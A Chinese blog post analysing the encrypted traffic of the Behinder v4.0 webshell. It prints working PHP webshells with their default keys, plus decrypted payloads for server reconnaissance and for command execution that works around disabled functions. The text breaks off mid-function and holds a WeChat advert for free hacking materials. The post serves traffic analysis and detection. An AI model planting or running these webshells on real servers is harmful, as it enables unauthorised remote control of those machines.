冰蝎V4.0流量分析到攻防检测

news2025/1/13 7:59:59

0x01 前言

最近在改写 yso,觉得自己基础太差了,想先阅读一下 sqlmap、冰蝎以及一些其他工具的开发思路。文章可能写的不够严谨,有不对的地方还请师傅们多多指出。

0x02 环境搭建

这里我看的是 MountCloud 师傅所二开的冰蝎项目,版本是 4.0.2;其实就是通过反编译搞出来的,但是这里不要用 jd-gui 或者 jadx 这些反编译,我用的是 MountCloud 师傅自己写的反编译工具。

拿到之后用 maven package 打包一下,运行 jar 包即可,同时要将 data.db 放到 jar 包同一目录下。

0x03 冰蝎的使用与流量分析

冰蝎的使用

我们看冰蝎的客户端界面,对于 shell 其实是没有输入密码模块的,其实在冰蝎当中 shell 是通过传输协议配置的。

这一传输协议的加密函数是用 Java 写的,并且 key 是默认的,不需要自己修改,我们点击生成服务端,则会生成三个 shell 文件,分别为 .php.aspx.jsp,这里我们起个环境然后连 shell(这里我是用虚拟机的环境,因为一开始用本机起一直 wireshark 抓不到流量,如果踩坑的师傅也欢迎私信和我交流)

我们可以看一下 shell.php(先对 xor_base64 的传输协议进行分析,后续分析 xor_base64 这种加密方式的攻防性),代码如下,此处代码和 v3.0 的相当不一样。

【----帮助网安学习,以下所有学习资料免费领!加v@~x:yj009991,备注“ csdn ”获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

v4.0 的代码

<?php
@error_reporting(0);
	function decrypt($data)
{
    $key="25f9e794323b4538"; 
    $bs="base64_"."decode";
	$after=$bs($data."");
	for($i=0;$i<strlen($after);$i++) {
    	$after[$i] = $after[$i]^$key[$i+1&15]; 
    }
    return $after;
}
	$post=Decrypt(file_get_contents("php://input"));
    eval($post);
?>

这里的 key 就是对应的连接密码,当然在冰蝎“传输协议”当中,可以自定义密码。

v3.0 的代码

<?php
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
	$_SESSION['k']=$key;
	session_write_close();
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>

v3.0 和 v4.0 的区别很明显在于这里 $_SESSION['k']=$key,v3.0 版本当中会把 key 作为 session 传入;接着判断 extension_loaded,也就是判断服务端是否存在 openssl 拓展,如果不存在就用 base64 解码,然后使用 key 进行异或加密,这也是冰蝎 v4.0 版本当中的 xor_base64 加密方式;如果服务端能够加载 openssl 拓展,就使用 AES128 解密,这里对应冰蝎 v4.0 版本当中的 aes 加密方式。

冰蝎流量分析

看了网上一堆分析的文章,都在说冰蝎的通信过程可以分为两个阶段:密钥协商和加密传输

第一阶段-密钥协商

1.攻击者通过 GET 或者 POST 方法,形如 http://127.0.0.1/shell.php?pass=645 的请求服务器密钥;

2.服务器使用随机数 MD5 的高16位作为密钥,存储到会话的 $_SESSION 变量中,并返回密钥给攻击者。

第二阶段-加密传输

1)客户端把待执行命令作为输入,利用 AES 算法或 XOR 运算进行加密,并发送至服务端;

2)服务端接受密文后进行 AES 或 XOR 运算解密,执行相应的命令;

3)执行结果通过 AES 加密后返回给攻击者。

  • 但是我自己在分析的过程中并没有看到这个密钥协商的过程,同时也没有看到 $_SESSION 变量当中存储了 md5 的高 16 位,反而 $_SESSION 变量存储的是一个 26 位的字符。不知道这里是我的问题还是冰蝎 4.0 版本就是如此。

我先选取的是 xor_base64 的加密方式,我在连上马之后还执行了 whoami 命令,如果不算上自己的命令执行,一共是两组流量,我们来分析一下。

第一段代码,经过 xor_base64 的解密,得到如下代码

@error_reporting(0);
function main($content)
{
    $result = array();
    $result["status"] = base64_encode("success");
    $result["msg"] = base64_encode($content);
    @session_start();     
    echo encrypt(json_encode($result));
}
function encrypt($data)
{    
    $key="25f9e794323b4538"; 
    for($i=0;$i<strlen($data);$i++) {
        $data[$i] = $data[$i]^$key[$i+1&15];     
    }    
    $bs="base64_"."encode";
    $after=$bs($data."");    
    return $after;
}
$content="WWtpektNWU1PREpybFB6VlQwdXY1T2JoMkNsMzVmZmVPZ0pDQnZaZElKejhVaGc1ZU42NnlCYWI3YVVqakJ4U3BRcnpneEdJT3pmclR5QWFVQ2Nqa2pTVm1OTU9LNzlrNHhzRjJjd2F2OTF2WFRITG9KdWpmMHpFeU9lTmFWRmdYQUdPT0loaHJKM0JSMkZNaUo5VjZwWGtwb2xQUWNyWGY1UzBuV05SYkE5eHFacmZUM3B4UG1jR3l2RTcxUUtCSkhMa0NJdms5NzdYM2FmZWFmazd4bkpHYlc0MVloNWV4YUp5Q05MTEZVemVaQkNOOUVvUjhNell4cUY3NzJFenp3bXFPbVQ1emxPNjVDUE5DR2JGVzlpc1k2MVlMTVY5WHBKYzRrdjVjcEJmU3NGTkRFbHhvM282MlZvV1FGUjRqTHY3eVY5am9BUVRLcFRiaWVmTmJuQVJidmJQZmlNeFhKTm9QbzVMZWNmNDIxNlZNY000cXJySzVYeEY3ajA1TlpWd3R6MExZZUdNaXlWTmE3bzgyb0xQVVk3ZThaaUhta0x6OVdnbVd5SmpIUVQ5UWhORm8ybVRtNTZPMDhIRHpyMkVhRmpYd3YyWWQ4SjZCZjdHWEtNTGo1OXpHdEgxb2Nqa2dyTHpUMWcwaGtSeTZaRVdyY2NRaEJOZHVwcTlvME9wY1loYTNiSXU0c1lkQk04OFNSaDJGUUxxR0k1TzdIMWVvN0NJTjRRSmpvbUtqMXVVWEFwREVHeGFCMlJZdXU5VWh1MHJwMkdESEdkUHVzaEJBTEdwYUJjZkRBR0ZacjF6ME5XQlBJcnNMS2NoZ2NsNEdFZkY0YmJCVkR1ZXo0bFV3Tm1wc1pzQ0FqRWNDTXNkWmtBUUJwb3Y5YndOTW9peWVSVUcwTUVUQjdYZ096YjVxQjFMaHByWVV2OFV3N1pGNFJYQkNZcnlCd0xHckdkbjVMaHdIazFNVUxvRkpoU0dPaURlRzAzMnhZbEM5ekRjVmUxMlhkbFMwa2YxVGJRUzlyck5OSDF2TzNKZ1NiOTJ2NkhjMWxXaWxJVDlLa1hwVnFZOEhEc1U4bVg4MHF0bktsbkdCcHVsRUUyb2djZlkwR2FVY1RxM09aZXFMeUtlNWFBdzNhTEM2VlFrZFI2MHZwVENlZ1ZMWTBiN3lOTHBMN3A4TmFVMHVOUmNaNXl6cTRQSEhJNk5UakltTEhDUzlPRTREeUtGcm0xbk1KOUdPZEJsdEljOG5FclNiVFl2Q1padkY3YlNnYmhsanEwbWphem1vb21wWld0ZWlCSjM5NGxlbEpYWVVHWFN3dzIyOVd5SzZBdUNZSEU3S3V0TERHbWhCbnI1b0RScm1ySFh6bmx1aDUwTm4wb09ZZDYwTDFNcnpiQzJuQTdXOWVSRk45M0drc2p0MDhRSTByaW1QbDg3Ykw2MmZid0RXcFRxZjhwa3E3eXJWZ0p0N3Z0WVdHeVVxd0lnaE9ibVI4b1pvR0tiTFpOTW53akZlcDJ4ZWVzMnF2dktwTDBkNVZCblhiMmhhcHkzdFplOXpJQVpzWHE5OFFSTTJSUzMzWkt0cXhERWZLWElpcnh4aEhhZndyc1Q4OVN4bUVGUTVTOThsM016dDMwR0JMbUxENnNLQmZLYkQ4ekRRU0xJdGo5ME41Zzg2eng4NjRTeURBa0hPTGJYUnVISWRJeE1Manp6aTV6YjNnbENwTTFXenpVZVlacExyVW13QXJrTEJaanFhQTdQZTlUZWY2ZlJURWhwQmNxUUE2N09ZZnduVFB3akdwazY3Q2wxS3ZmSzFOeDRWQVRVR2tGZjY1enZoa0NDWVNqYWVGN0hCUFEzc3lJa2puVUI3TEdZSERVNDVVNHI1ZUxOTGVCc0Fhb1NSeUtuT3RCQ3Jsd05HTWxGejFYclZkc0NRMUIwWXRGS3FUd25NZVVmd3NzcGdPZWNFTW0xYnd3WnJKVlZSVG0zY29ZWk5HellrZExCS011WFN5dWVaRFVnc1dDWFdRTlJNcmUyVWJXa0hvYnA5QmF5U25GZ01MaXVKV2pXNFRqek9mekFJa2h2c2FwNlF4VTBjVVZxNXJhaGJGaW9VYTREVERPbTJoS055bk1uQWdVTnZFR1BUNXR2eWNQWEpVa2R4em9yb3dMc2RzY2dWYldGMXFSdEJKc0xQQlJsZ2Y4OWE4QWUxUHNqNms1OE9CRGhBMzRiOERYMTJ4OTZDYUNzZFBWMlJFWFEzdENHSFdZblJNb1FOclFSdXhZZjhPQmVNVm9IUjBiblJnV0RLWGI3ZWZhc2owYUl4Q1c2eDNRQkdQTXNsQmtoQW5UUnVYc0xFRGN5eENlNjBDdHhXN3hpaHA5Skc3S2tKbW5PUlNneWZiYXRvZG9EMHVHajhCQUYzRThuM3NHbVNCdEFkdk9OWjB0T3BPUVgzaW10Rks1QUFTeGJ4RHZZTGM4d2RBQXI4ZmUxQU5kRmVJUGhiUWxha0hIUmp3bmVhNnpNcTA4R0ZreFFPTFhOOExSMlZVdlBUYlowV1FPUXh0azhQVW0zaVM3YkhaeVAzVzdsVkJ0N2EwQjE5aUJicWkxbjNQenpLdWhURXJKTzE5Mm5JemxOREpTQm55cUJ4U0IwcERjZ0RoWHFQdG42VHAzQkh4eEJWUzVpVFczU1FPeHlVVmwydGdoWVphb3NzTGlsWWdVcnVBMEQwYjdKVlpqZ1lMV0dhcmdrZjZpa3dVSDNWZVZlN0FIemZWRHdJVFlpUTNPOFJSUjkwOEwwWkp0Y1ZSUzBZMWYwMDBQaHFSWGE2aDhpZWpnWXQ1V3UzWlZYZ1BJM0N3c1ZnVVB0eElWM0xUMHkyV3VDcDJLc2RDVEQyRXBKMzVKUnpCTWd3dTFhajBvaWlyaXBGY04zbmpyQjBESE1Xck5tMFRNUWZvTU9uSTYzcXhxTE1kcngyelhmTlFmbTNKTWRKTDRONUtYSXZRYmI4Q090bHNsVG1oRmVMbEQzUWFWTmJEYUxXdEZhRTltNHdIRHl2eGM3b3lGVHBZYWdWTUNHM3BrMVJscTM2OFRYS1RhSmRTYVgyNmcyalhZNjBjb0RZalJ3QkpPWVlkb01DUzVoRGY3SWdZSkNNMUxLenlXZEtQSUtDaUpoTnQ5S2FXNlFnR0pNZUxxUVJ3R0FnNDQ3cmc1M2c0a1ptSW5oNDBTbGFpQnB3a3p5MWVnb0JvVXhZa2FOZnVJTGFvNXhZb2FYOHRZTjhBNHlxTjlJRWszY0tuVVNqTjRST0RMUHh0ZGlHRnNWSWxabkpQVFVjUnVyclRWbGV3SE05UXVydU14d1hXdjdHT205cjdISG9sOUsxbUExNDh4bGMzZU5IeVl3VmJRVHFoeUlWZGQ5b0JMeTlqOXZ0UkFnV250TE5tWmtZRUxvbXdHV0xUN2k5MnJGZ2VLZERPd1M1ZUtsVg==";
$content=base64_decode($content);
main($content);

我个人倾向于是认为冰蝎 V4.0 版本当中,这一个包涵盖了密钥协商的部分,并且在这一个包之后重置了 $_session,而 msg 和第一个包里的 content 是相同的,所以我认为这一部分其实也在做密钥协商(后来看了冰蝎作者的文章,果然如此)

接着我们往下看相应报文,相应报文经过 xor_base64 解密之后结果如下

{
"status":"c3VjY2Vzcw==",
"msg":"WWtpektNWU1PREpybFB6VlQwdXY1T2JoMkNsMzVmZmVPZ0pDQnZaZElKejhVaGc1ZU42NnlCYWI3YVVqakJ4U3BRcnpneEdJT3pmclR5QWFVQ2Nqa2pTVm1OTU9LNzlrNHhzRjJjd2F2OTF2WFRITG9KdWpmMHpFeU9lTmFWRmdYQUdPT0loaHJKM0JSMkZNaUo5VjZwWGtwb2xQUWNyWGY1UzBuV05SYkE5eHFacmZUM3B4UG1jR3l2RTcxUUtCSkhMa0NJdms5NzdYM2FmZWFmazd4bkpHYlc0MVloNWV4YUp5Q05MTEZVemVaQkNOOUVvUjhNell4cUY3NzJFenp3bXFPbVQ1emxPNjVDUE5DR2JGVzlpc1k2MVlMTVY5WHBKYzRrdjVjcEJmU3NGTkRFbHhvM282MlZvV1FGUjRqTHY3eVY5am9BUVRLcFRiaWVmTmJuQVJidmJQZmlNeFhKTm9QbzVMZWNmNDIxNlZNY000cXJySzVYeEY3ajA1TlpWd3R6MExZZUdNaXlWTmE3bzgyb0xQVVk3ZThaaUhta0x6OVdnbVd5SmpIUVQ5UWhORm8ybVRtNTZPMDhIRHpyMkVhRmpYd3YyWWQ4SjZCZjdHWEtNTGo1OXpHdEgxb2Nqa2dyTHpUMWcwaGtSeTZaRVdyY2NRaEJOZHVwcTlvME9wY1loYTNiSXU0c1lkQk04OFNSaDJGUUxxR0k1TzdIMWVvN0NJTjRRSmpvbUtqMXVVWEFwREVHeGFCMlJZdXU5VWh1MHJwMkdESEdkUHVzaEJBTEdwYUJjZkRBR0ZacjF6ME5XQlBJcnNMS2NoZ2NsNEdFZkY0YmJCVkR1ZXo0bFV3Tm1wc1pzQ0FqRWNDTXNkWmtBUUJwb3Y5YndOTW9peWVSVUcwTUVUQjdYZ096YjVxQjFMaHByWVV2OFV3N1pGNFJYQkNZcnlCd0xHckdkbjVMaHdIazFNVUxvRkpoU0dPaURlRzAzMnhZbEM5ekRjVmUxMlhkbFMwa2YxVGJRUzlyck5OSDF2TzNKZ1NiOTJ2NkhjMWxXaWxJVDlLa1hwVnFZOEhEc1U4bVg4MHF0bktsbkdCcHVsRUUyb2djZlkwR2FVY1RxM09aZXFMeUtlNWFBdzNhTEM2VlFrZFI2MHZwVENlZ1ZMWTBiN3lOTHBMN3A4TmFVMHVOUmNaNXl6cTRQSEhJNk5UakltTEhDUzlPRTREeUtGcm0xbk1KOUdPZEJsdEljOG5FclNiVFl2Q1padkY3YlNnYmhsanEwbWphem1vb21wWld0ZWlCSjM5NGxlbEpYWVVHWFN3dzIyOVd5SzZBdUNZSEU3S3V0TERHbWhCbnI1b0RScm1ySFh6bmx1aDUwTm4wb09ZZDYwTDFNcnpiQzJuQTdXOWVSRk45M0drc2p0MDhRSTByaW1QbDg3Ykw2MmZid0RXcFRxZjhwa3E3eXJWZ0p0N3Z0WVdHeVVxd0lnaE9ibVI4b1pvR0tiTFpOTW53akZlcDJ4ZWVzMnF2dktwTDBkNVZCblhiMmhhcHkzdFplOXpJQVpzWHE5OFFSTTJSUzMzWkt0cXhERWZLWElpcnh4aEhhZndyc1Q4OVN4bUVGUTVTOThsM016dDMwR0JMbUxENnNLQmZLYkQ4ekRRU0xJdGo5ME41Zzg2eng4NjRTeURBa0hPTGJYUnVISWRJeE1Manp6aTV6YjNnbENwTTFXenpVZVlacExyVW13QXJrTEJaanFhQTdQZTlUZWY2ZlJURWhwQmNxUUE2N09ZZnduVFB3akdwazY3Q2wxS3ZmSzFOeDRWQVRVR2tGZjY1enZoa0NDWVNqYWVGN0hCUFEzc3lJa2puVUI3TEdZSERVNDVVNHI1ZUxOTGVCc0Fhb1NSeUtuT3RCQ3Jsd05HTWxGejFYclZkc0NRMUIwWXRGS3FUd25NZVVmd3NzcGdPZWNFTW0xYnd3WnJKVlZSVG0zY29ZWk5HellrZExCS011WFN5dWVaRFVnc1dDWFdRTlJNcmUyVWJXa0hvYnA5QmF5U25GZ01MaXVKV2pXNFRqek9mekFJa2h2c2FwNlF4VTBjVVZxNXJhaGJGaW9VYTREVERPbTJoS055bk1uQWdVTnZFR1BUNXR2eWNQWEpVa2R4em9yb3dMc2RzY2dWYldGMXFSdEJKc0xQQlJsZ2Y4OWE4QWUxUHNqNms1OE9CRGhBMzRiOERYMTJ4OTZDYUNzZFBWMlJFWFEzdENHSFdZblJNb1FOclFSdXhZZjhPQmVNVm9IUjBiblJnV0RLWGI3ZWZhc2owYUl4Q1c2eDNRQkdQTXNsQmtoQW5UUnVYc0xFRGN5eENlNjBDdHhXN3hpaHA5Skc3S2tKbW5PUlNneWZiYXRvZG9EMHVHajhCQUYzRThuM3NHbVNCdEFkdk9OWjB0T3BPUVgzaW10Rks1QUFTeGJ4RHZZTGM4d2RBQXI4ZmUxQU5kRmVJUGhiUWxha0hIUmp3bmVhNnpNcTA4R0ZreFFPTFhOOExSMlZVdlBUYlowV1FPUXh0azhQVW0zaVM3YkhaeVAzVzdsVkJ0N2EwQjE5aUJicWkxbjNQenpLdWhURXJKTzE5Mm5JemxOREpTQm55cUJ4U0IwcERjZ0RoWHFQdG42VHAzQkh4eEJWUzVpVFczU1FPeHlVVmwydGdoWVphb3NzTGlsWWdVcnVBMEQwYjdKVlpqZ1lMV0dhcmdrZjZpa3dVSDNWZVZlN0FIemZWRHdJVFlpUTNPOFJSUjkwOEwwWkp0Y1ZSUzBZMWYwMDBQaHFSWGE2aDhpZWpnWXQ1V3UzWlZYZ1BJM0N3c1ZnVVB0eElWM0xUMHkyV3VDcDJLc2RDVEQyRXBKMzVKUnpCTWd3dTFhajBvaWlyaXBGY04zbmpyQjBESE1Xck5tMFRNUWZvTU9uSTYzcXhxTE1kcngyelhmTlFmbTNKTWRKTDRONUtYSXZRYmI4Q090bHNsVG1oRmVMbEQzUWFWTmJEYUxXdEZhRTltNHdIRHl2eGM3b3lGVHBZYWdWTUNHM3BrMVJscTM2OFRYS1RhSmRTYVgyNmcyalhZNjBjb0RZalJ3QkpPWVlkb01DUzVoRGY3SWdZSkNNMUxLenlXZEtQSUtDaUpoTnQ5S2FXNlFnR0pNZUxxUVJ3R0FnNDQ3cmc1M2c0a1ptSW5oNDBTbGFpQnB3a3p5MWVnb0JvVXhZa2FOZnVJTGFvNXhZb2FYOHRZTjhBNHlxTjlJRWszY0tuVVNqTjRST0RMUHh0ZGlHRnNWSWxabkpQVFVjUnVyclRWbGV3SE05UXVydU14d1hXdjdHT205cjdISG9sOUsxbUExNDh4bGMzZU5IeVl3VmJRVHFoeUlWZGQ5b0JMeTlqOXZ0UkFnV250TE5tWmtZRUxvbXdHV0xUN2k5MnJGZ2VLZERPd1M1ZUtsVg=="
}

经过 base64 解密,status 对应的是 success,证明能够收到这个包,并且和前面对照上。

继续分析下一个包,代码如下,这里就进行了命令执行

error_reporting(0);
function main($whatever) 
{    
    $result = array();    
    ob_start(); 
    phpinfo(); 
    $info = ob_get_contents(); 
    ob_end_clean();    
    $driveList ="";    
    if (stristr(PHP_OS,"windows")||stristr(PHP_OS,"winnt")){        
        for($i=65;$i<=90;$i++) {    
            $drive=chr($i).':/';    
            file_exists($drive) ? $driveList=$driveList.$drive.";":'';    
        }    
    } else {
        $driveList="/";
    }    
    $currentPath=getcwd();    
    //echo "phpinfo=".$info."\n"."currentPath=".$currentPath."\n"."driveList=".$driveList;
    $osInfo=PHP_OS;    
    $arch="64";    
    if (PHP_INT_SIZE == 4) {
        $arch = "32";    
    }    
    $localIp=gethostbyname(gethostname());    
    if ($localIp!=$_SERVER['SERVER_ADDR']) {        
        $localIp=$localIp." ".$_SERVER['SERVER_ADDR'];    
    }    
    $extraIps=getInnerIP();    
    foreach($extraIps as $ip) {        
        if (strpos($localIp,$ip)===false) {         
            $localIp=$localIp." ".$ip;        
        }    
    }    
    $basicInfoObj=array(
        "basicInfo"=>base64_encode($info),
        "driveList"=>base64_encode($driveList),
        "currentPath"=>base64_encode($currentPath),
        "osInfo"=>base64_encode($osInfo),
        "arch"=>base64_encode($arch),
        "localIp"=>base64_encode($localIp));    
        //echo json_encode($result);    
        $result["status"] = base64_encode("success");    
        $result["msg"] = base64_encode(json_encode($basicInfoObj));    
        //echo json_encode($result);    
        //echo openssl_encrypt(json_encode($result), "AES128", $key);    
        echo encrypt(json_encode($result));
    }
    function getInnerIP()
    {
        $result = array();
        if (is_callable("exec"))
        {    
            $result = array();    
            exec('arp -a',$sa);    
            foreach($sa as $s)    
            {        
                if (strpos($s,'---')!==false) {
                    $parts=explode(' ',$s);
                    $ip=$parts[1];
                    array_push($result,$ip);
                } 
                //var_dump(explode(' ',$s));           
                // array_push($result,explode(' ',$s)[1]);    
            }
        }
        return $result;
    }
    function encrypt($data)
    {    
        $key="25f9e794323b4538"; 
        for($i=0;$i<strlen($data);$i++) {    
            $data[$i] = $data[$i]^$key[$i+1&15];     
        }    
        $bs="base64_"."encode";
        $after=$bs($data."");    
        return $after;
    }
    $whatever="RWN4cTE4VFlUNGRVUWhaalZ5UW1Kamw4R2RTZlJIalhlRFg2djR3Y1RLVFhhWnQxaFhES3ZBMW9QYjlPWmlGNlEyNUNVcXVkV2J4Q0dTUG5YZ3B2RjRDVWlGbGwxNVk2d3RMWUhnbjRVWWRETDdVbHNoWjNrZmNCNlUzNWNRRW5hU1g1RFNQSDI1Snpmc2ZqRzJBQWJyaDZMUDVxMWZuMm1JVzIxTklWR0JraTViUE1XTnBnVG5wVFJ5cEpsQmdCTlJmSW1WYzIzRERmVlRoeDBpQ1pLcHpvVVdzMXZmUXM5NkhMVFVUNGhpQ3NXZWVYTFk1TnJOdHZNVEFXcTlMYUhFOHRoRUhzaXpBQldnaWtYUkhweDc1b2pvWWpyTUJOMkxvNmpuNWRndDVDSTNJc2I4dHpUdHF3dG5yRGxYNTlHNEtyS0NMSUw3Ym9lQk9mWjJldnlQSk5Jc2RCOU9SRVVUSGk0Q1NLaFJjNkJpcUZGMVM0MWVDcFdtaEpYT2hEaHVkdnNMUUNPbzREQ3pKekhjdG5KZXBuemJ0YkE1TU50bXhWTUNoOUM5dm5VMDNZM3IyRFBOZVJqeUd0b0t2ZFdhWk5ETU96WHEzdmFQQmFobXdNcTBvdVlyanlPZmVaRVNMYXhwWlFlVWtvendGOTlUaGJaUTZVVU82dVFZVEVMUHJJWnFYeFRVbXNhaGxqZnFmZmJGbVBIbGxQSlNaSmtpRnNORkM3UFRNbjFoOFlmUUYwVm1RNW1oMXVlbllTNEd4NXB4UVNHV2lzTE1UaFpaTUJNeHZlRldGZ2E3ZHA1MDA3ZXhHbG5rUEZjZ21jZjJFUktDUDdkajlNQVk5OHdEOXhkQVBkQTZhQ2ozeERja2VFZzZVWnhaMmQ5ZzF2c1BmdWRPbkZJSTc3MnJuSFE0emxDSllFSGxXQmVWeXhycjRkRHNzdkFKZTBRT2U4VXpoYkJ5YjhzOXpvZU54dm00S2VhY1R2QUdhalBBUFBSZlV3dDZwbnhxdjF3ZjVKZEhOSmxvRXJERWNIRTYyQWZmSGZseXNqbXBOVHZ4WGFJTE9WdTBHRUlpUXA1ZU4xOUluTktMc2huZnNSR0hBUjh3aWFyZ2MwVElCYmwyZG9lVmt4Qm5seGl6QmlyODBqZDlrR3pacHhncGUyTlpGVHNMdlR3WFZlZHduWVlMeVF5TjNORFpNdWVhVE9ZemJQT2VaZ2g1d3VSZEtjYUtEQUhCYmozd0lOeW1vd3Y0eGJ6cGtuUmZGUDlrOVA1MFdKT0FrbUVvUXE2TW1KdlNXWmw1ZzB4YmNValVDeDI1WHFwd3FLa1J4UTFZR24xM3NoVWhzY3Z6aHBqVzA4SUsweGFLTW5QNDY5RXB5VkF0RUpYYXpZem81aXpzVVRqcmxBRktoZnNKclZkR2ZRZFVxTmJQZnV3R2JqZVBpWXVOUThmVW0yOEszaFJXV3RtWkFXQ0JCeHRGQk1BQlg5ZmxVQktZUnc2cHd6dDRIMzY4N0NobW9JSE5QQ2QwUjQzdkx1aEM2SmdFSUZkZXVpRjUxODFZVVZFQWF1WU82bmxiOEo2RnBEU0Q0SHVsNDYyQXBRQzF6N0JEZ0c3aklhQWNkNWhGT0k0bFBxQXc2S0ZCUWE5QVM5NktWSVRDajFMN1dYSFZKZ01XN005RThyeFRBaXlseWJreFV1b256VWlNS0lBU2wwZkVjcjNZTFVrUTFtQUxKb2ZJc0s4SjllZG9Ca0RXWWY4eEJ1VVJLTVJLaGtYdm52cU5ySmx4MlJmbmtwQlV2QmVWYVZvbzlOeXB6Q0NTVmpZM2RYdlVUdk9FbUdldHJ4eU5kZTNoQ1FlMmduckRVM1F1andxN1NKTURVRld3YVBueHRlRnR3V2FScTY2WlRURHpIRHNDUkF3UDdnUkNSNGZKaHJzZmlINXRWcGpvdWprZlc4Zk93UUFYYVV2V3VaakRwMVFWTWRBN2JXMGZIbU1QNkdXb2VDeFZiWUdOSDV1OTluejRxNUM3emliVDMzNkVSWnRIUVh2M0s1ZW5BcEgyNkwyZlBYaUJtaU1zcHZMOGloeFlWdTJtRE9aOTdKc2drYnRqNGZLSWNnSEJtOUZxbmFTWmVoblNjVURnY3o2RDE1RmxkZjM2bnptQWtaSW1WR083enplakQ4cFpDUXBGdTZtMkRIVk51NG8xcEJOZVhLZXVNSjd6VVIyM1VuOElVVDlKUHZQeE0yZk5EZ09yUEJXczdwSHk0TklHbFRJbGZWZ0tGTFBnNVZTWmZaOXhaTnpQVm9kWUZDS1RwWlNSUGtCS2NqcWFyeEhSanRHTkZveXh2M0poRjhDdkN0emFuTlM2OHp5WTQyekIzM0NXNmdGeGdvaFdMVkJiVUlES3RsVWhGdDBTZnZ3bDlEZDdIWFdmbXFjcFZpWmNxRE1mcWVXaVg3STh6YzNxY3dscHlzVFNsSVl5anZGc2hhREFNWTZsNG1qMFdsRHppZHhFOXpldmtPeFpETzlheVBJOWJlbWxDNmk4WUppR1dnRTNqclI0ZUw0T0xncEJNQnZyS0RUckF2QTNnUXdyTU9iOHFhZzJ1VzFXRHhMQ0ZRRktNWGVVYjJhcFhDRjMyQkIzRzBpU1VBVGJMSVBpeEltOHBVakRMazkyZDBkR29heEVPeWl4U1ZjWENEampLaHBFVm13NkFQQTI0VUNpUFd1TVR5S21aTTFnNUszdzd0SjFuNzNhV200RFE0OG9Oakhmbm81Y0FPT05uWlAyVE9SWGJibFFYb1VPcW5idXFCRmlrQTJRVnQwazdBYkdmbWp0Z01Bbk5xODFUUEpOVzdvYzNTbDBFYUNLOEpCMTNialBTam5hdkZSdU5vNWxpWkhZSTlMOWNBRkdhMDhDMUhlYXpFR0plalhINjJNMUo3NlphNnNZT1hLN202d05wZnhTVTh5WGlPSG1GNlVPVVNJdHVGVWFMcW1Td00yMTFrbFdFTG40cEREQ3Ftd3NMZEpiV2szOE5FZXh5QW9kSmV0dDVuWlVKdlNXVFF1VVE0WVJRWlR3V2ZEaGZxTGI2RzRKaEtXYmFIYUdIaGtrQWk5Wm9Rbkx4RUVVdGJCSjJjVmNwMjhKRVNKMGpSSFNZYU83ek1US3Z3ZVlGN0ZTMk5hUlhBOUx1NkFjemxCYTNraXd6TEZmNlZrWEM5WVVCVURTVkhmdHVrTDNOWnRxVlB2R2dUZGpNVzJLTzFFcXpIVHBXblVpejU2MXNRTjNNa25UUWh5V2xVcFZOeFpmN1hBR0IwMnJVSk1yczVQblhZMXpadDhqbmF4d2h3amVWYnpiZ3FYc0ZBeXAydkpCbGtnVUg2NzRjQ3J4OUM0YzdTdW96bkZVOVZBeGJlekNRc2VqMElSNkxyQlNmZkNwYkwycjJLN0xBWTZFTnNiQjh3bFBuM1dvMTA4Y2IzcHNGT0Q3dzROcHNsSHZpc0szZVZVQ0psRm93RjdZSk5JQzVITWVZRmtjaEtkS1dDUUdOT3RwaDh3";
$whatever=base64_decode($whatever);
main($whatever);
  • 这里我不太明白传入的 $whatever 是做什么的,感觉没什么用,这个脚本本质上还是在运行 phpinfo() 的命令执行。

把相应包解密出来,内容如下

{
"status":"c3VjY2Vzcw==",
"msg":"xxx略,篇幅太长"
}

把这一串 msg 内容放到 base64 解密,不难发现响应内容其实就是 phpinfo() 的命令回显。

至于后面的命令执行部分,是比较好分析的

把流量包提取出来,进行解密

@error_reporting(0);

function getSafeStr($str){
    $s1 = iconv('utf-8','gbk//IGNORE',$str);
    $s0 = iconv('gbk','utf-8//IGNORE',$s1);
    if($s0 == $str){
        return $s0;
    }else{
        return iconv('gbk','utf-8//IGNORE',$str);
    }
}
function main($cmd,$path)
{
    @set_time_limit(0);
    @ignore_user_abort(1);
    @ini_set('max_execution_time', 0);
    $result = array();
    $PadtJn = @ini_get('disable_functions');
    if (! empty($PadtJn)) {
        $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
        $PadtJn = explode(',', $PadtJn);
        $PadtJn = array_map('trim', $PadtJn);
    } else {
        $PadtJn = array();
    }
    $c = $cmd;
    if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
        $c = $c . " 2>&1\n";
    }
    $JueQDBH = 'is_callable';
    $Bvce = 'in_array';
    if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {
        ob_start();
        system($c);
        $kWJW = ob_get_contents();
        ob_end_clean();
    } else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {
        $handle = proc_open($c, array(
            array(
                'pipe',
                'r'
            ),
            array(
                'pipe',
                'w'
            ),
            array(
                'pipe',
                'w'
            )
        ), $pipes);
        $kWJW = NULL;
        while (! feof($pipes[1])) {
            $kWJW .= fread($pipes[1], 1024);
        }
        @proc_close($handle);
    } else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {
        ob_start();
        passthru($c);
        $kWJW = ob_get_contents();
        ob_end_clean();
    } else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {
        $kWJW = shell_exec($c);
    } else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {
        $kWJW = array();
        exec($c, $kWJW);
        $kWJW = join(chr(10), $kWJW) . chr(10);
    } else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {
        $fp = popen($c, 'r');
        $kWJW = NULL;
        if (is_resource($fp)) {
            while (! feof($fp)) {
                $kWJW .= fread($fp, 1024);
            }
        }
